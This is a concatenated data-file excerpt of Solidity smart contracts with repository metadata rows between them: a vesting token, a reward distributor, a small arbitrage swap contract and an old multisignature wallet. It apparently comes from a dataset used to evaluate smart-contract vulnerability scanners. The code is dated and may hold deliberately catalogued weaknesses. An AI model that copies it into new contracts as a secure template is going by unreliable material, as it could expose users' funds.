return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function totalSupply() external view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint) {
uint amount = _unfrozenBalances[account];
if (_vestingNonces[account] == 0) return amount;
for (uint i = 1; i <= _vestingNonces[account]; i++) {
amount = amount.add(_vestingAmounts[account][i]).sub(_unvestedAmounts[account][i]);
}
return amount;
}
function availableForUnvesting(address user) external view returns (uint unvestAmount) {
if (_vestingNonces[user] == 0) return 0;
for (uint i = 1; i <= _vestingNonces[user]; i++) {
if (_vestingAmounts[user][i] == _unvestedAmounts[user][i]) continue;
if (_vestingReleaseStartDates[user][i] > block.timestamp) break;
uint toUnvest = block.timestamp.sub(_vestingReleaseStartDates[user][i]).mul(_vestingAmounts[user][i]) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[user][i]) {
toUnvest = _vestingAmounts[user][i];
}
toUnvest = toUnvest.sub(_unvestedAmounts[user][i]);
unvestAmount = unvestAmount.add(toUnvest);
}
}
function availableForTransfer(address account) external view returns (uint) {
return _unfrozenBalances[account];
}
function vestingInfo(address user, uint nonce) external view returns (uint vestingAmount, uint unvestedAmount, uint vestingReleaseStartDate, uint vestType) {
vestingAmount = _vestingAmounts[user][nonce];
unvestedAmount = _unvestedAmounts[user][nonce];
vestingReleaseStartDate = _vestingReleaseStartDates[user][nonce];
vestType = _vestingTypes[user][nonce];
}
function vestingNonces(address user) external view returns (uint lastNonce) {
return _vestingNonces[user];
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "NBU::_approve: approve from the zero address");
require(spender != address(0), "NBU::_approve: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint amount) private {
require(sender != address(0), "NBU::_transfer: transfer from the zero address");
require(recipient != address(0), "NBU::_transfer: transfer to the zero address");
_unfrozenBalances[sender] = _unfrozenBalances[sender].sub(amount, "NBU::_transfer: transfer amount exceeds balance");
_unfrozenBalances[recipient] = _unfrozenBalances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _vest(address user, uint amount, uint vestType) private {
uint nonce = ++_vestingNonces[user];
_vestingAmounts[user][nonce] = amount;
_vestingReleaseStartDates[user][nonce] = block.timestamp + vestingFirstPeriod;
_unfrozenBalances[owner] = _unfrozenBalances[owner].sub(amount);
_vestingTypes[user][nonce] = vestType;
emit Transfer(owner, user, amount);
}
function multisend(address[] memory to, uint[] memory values) external onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
_unfrozenBalances[owner] = _unfrozenBalances[owner].sub(sum, "NBU::multisend: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
_unfrozenBalances[to[i]] = _unfrozenBalances[to[i]].add(values[i], "NBU::multisend: transfer amount exceeds balance");
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function multivest(address[] memory to, uint[] memory values) external onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
_unfrozenBalances[owner] = _unfrozenBalances[owner].sub(sum, "NBU::multivest: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
uint nonce = ++_vestingNonces[to[i]];
_vestingAmounts[to[i]][nonce] = values[i];
_vestingReleaseStartDates[to[i]][nonce] = block.timestamp + vestingFirstPeriod;
_vestingTypes[to[i]][nonce] = 0;
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function updateVesters(address vester, bool isActive) external onlyOwner {
vesters[vester] = isActive;
}
function updateGiveAmount(uint amount) external onlyOwner {
require (_unfrozenBalances[owner] > amount, "NBU::updateGiveAmount: exceed owner balance");
giveAmount = amount;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) external onlyOwner returns (bool success) {
return IERC20(tokenAddress).transfer(owner, tokens);
}
function acceptOwnership() public override {
uint amount = _unfrozenBalances[owner];
_unfrozenBalances[newOwner] = amount;
_unfrozenBalances[owner] = 0;
emit Transfer(owner, newOwner, amount);
super.acceptOwnership();
}
}
| 230,346 | 11,327 |
07928acc949ea9f7a59462cd6c6a2335f86f992de759df5150c782255031b9e3
| 17,531 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/9c/9ca4694f167171AEE39F0521874f20f208fec077_Distributor.sol
| 3,872 | 15,338 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable ORKAN;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _orkan, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_orkan != address(0));
ORKAN = _orkan;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(ORKAN).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 322,093 | 11,328 |
723406a7019e3940c26d06c4f7676861ee7fa73cbf39a8bc95b6ce52d641829d
| 10,635 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2b/2b2b6e3640f63f8d7439bb2fc25c3b5f10ed31a1_arb.sol
| 2,420 | 9,843 |
pragma solidity 0.6.0;
interface IRouter {
function factory() external pure returns (address);
function WTRX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityTRX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountTRX, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityTRX(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external returns (uint amountToken, uint amountTRX);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityTRXWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountTRX);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactTRXForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactTRX(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForTRX(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapTRXForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IAVAX20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IWAVAX {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract arb {
using SafeMath for uint;
address payable private owner ;
address private WAVAX = address(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
fallback() external payable{
}
constructor() public {
owner = msg.sender;
}
function trade(address[] memory path , address pairs , uint256 amount, uint256 amount_out) public {
require(getAmountOut(path,pairs,amount) >= amount_out);
(address token0,) = sortTokens(path[0], path[1]);
(uint reserveIn, uint reserveOut) = getReserves(pairs , path[0] , path[1]);
amount = calculate(amount, reserveIn, reserveOut);
(uint amount0Out, uint amount1Out) = path[0] == token0 ? (uint(0), amount) : (amount, uint(0));
address to = pairs;
IUniswapV2Pair(pairs).swap(amount0Out , amount1Out, to, new bytes(0));
require(msg.sender == owner);
}
function withdraw(uint256 amount) public{
require(msg.sender == owner);
owner.transfer(amount);
}
function withdrawToken(uint256 amount , address token) public{
require(msg.sender == owner);
IAVAX20(token).transfer(owner ,amount);
}
function calculate(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// fetches and sorts the reserves for a pair
function getReserves(address pair, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountOut(address[] memory path , address pairs , uint256 amount) internal view returns (uint amountOut) {
amountOut = amount;
(uint reserveIn, uint reserveOut) = getReserves(pairs , path[0] , path[1]);
amountOut = calculate(amountOut, reserveIn, reserveOut);
}
}
| 107,084 | 11,329 |
6fdaf69192e87769bbabc966dc4fa572b9d78e084ec9e3434ebe61dbcb4d4ff8
| 18,211 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x01d9f4d104668cdc0b6d13c45dff5e15d58d8f28.sol
| 3,595 | 16,712 |
pragma solidity 0.4.10;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if (ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @author Amir Bandeali - <amir@0xProject.com>
